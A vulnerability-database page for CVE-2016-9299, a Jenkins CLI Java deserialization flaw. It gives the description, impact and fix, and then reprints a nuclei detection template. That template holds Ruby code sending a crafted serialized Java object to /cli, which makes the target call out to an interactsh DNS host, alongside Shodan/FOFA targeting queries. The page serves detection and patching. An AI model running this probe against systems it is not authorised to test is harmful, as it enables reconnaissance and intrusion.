HexBrain

Browse / CVEs / CVE-2016-9299

CVE-2016-9299· jenkins / jenkins· CWE-90

Jenkins CLI - HTTP Java Deserialization

criticalseverity
9.8CVSS score
96.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.

Impact

Attackers can execute arbitrary code through Java deserialization, potentially leading to complete Jenkins server compromise and unauthorized access to all build systems and secrets.

Fix

Update Jenkins to version 2.32 or LTS 2.19.3 or later that fixes the deserialization vulnerability.

How to confirm it

Positive when: contains(response,'hudson.remoting.UserRequest') and contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2016-9299 -u <target>

The full check
id: CVE-2016-9299

info:
  name: Jenkins CLI - HTTP Java Deserialization
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.
  impact: |
    Attackers can execute arbitrary code through Java deserialization, potentially leading to complete Jenkins server compromise and unauthorized access to all build systems and secrets.
  remediation: |
    Update Jenkins to version 2.32 or LTS 2.19.3 or later that fixes the deserialization vulnerability.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2016-9299
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-9299
    cwe-id: CWE-90
    epss-score: 0.96943
    epss-percentile: 0.99888
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: jenkins
    product: jenkins
    shodan-query: product:"jenkins"
    fofa-query: icon_hash=81586312
  tags: cve,cve2016,rce,deserialization,vkev,vuln

variables:
  oast: "{{interactsh-url}}"

code:
  - engine:
      - rb
      - ruby # requires ruby to be pre-installed on system running nuclei

    source: |
            require 'socket'
            require 'base64'

            # Define environment variables for host details (make sure they are properly set in your environment)
            $Hostname = ENV['Hostname']
            $Host = ENV['Host']
            $Port = ENV['Port']
            interactsh = (ENV['oast']).ljust(45,'/')
            url_dns = "aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002d657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6574000071007e0005740004687474707078740034687474703a2f2f657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6578"
            $decoded_url_dns = [url_dns].pack("H*")
            $decoded_url_dns = $decoded_url_dns.gsub! "ewawjwcswxvkjfswcqli1fssv25rq0d8d.oast.online", interactsh

            # Step 1: Send the download request without waiting for a response or closing the socket
            def send_download_request(host, port)
              download_socket = TCPSocket.new(host, port)

              download_request = <<~REQ
                POST /cli HTTP/1.1
                Host: #{$Hostname}
                Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93
                Side: download
                Content-Type: application/x-www-form-urlencoded
                Content-Length: 0\r\n
              REQ

              #puts "Sending Download Request..."
              download_socket.write(download_request)

              # Return the open socket so we can read from it later
              return download_socket
            end

            # Step 2: Send the upload request
            def send_upload_request(host, port)
              socket = TCPSocket.new(host, port)

              # Base64 decoded payload for upload request
              chunked_payload = "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00\x01\x55" + $decoded_url_dns

              upload_request = <<~REQ
                POST /cli HTTP/1.1
                Host: #{$Hostname}
                Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93
                Side: upload
                Content-Type: application/octet-stream
                Content-Length: #{chunked_payload.bytesize}\r\n
              REQ

              #puts "Sending Upload Request..."
              socket.write(upload_request)

              # Send the binary data (payload)
              socket.write(chunked_payload)

              # Read and print the response for the upload request
              response = socket.readpartial(1024)
              #puts "Received from server (upload response): #{response}"

              # Close the socket for upload request
              socket.close
            end

            # Step 3: After upload request, read the download request's response
            def read_download_response(socket)
              #puts "Reading Download Request Response..."
              response = socket.readpartial(1024)
              socket.close
              response

            end

            # Combined steps to perform the operations in the required order
            # Step 1: Send download request (don't wait for response, keep the socket open)
            download_socket = send_download_request($Host, $Port)

            # Step 2: Send upload request
            send_upload_request($Host, $Port)

            # Print the download response
            puts read_download_response(download_socket)

    matchers:
      - type: dsl
        dsl:
          - "contains(response,'hudson.remoting.UserRequest')"
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from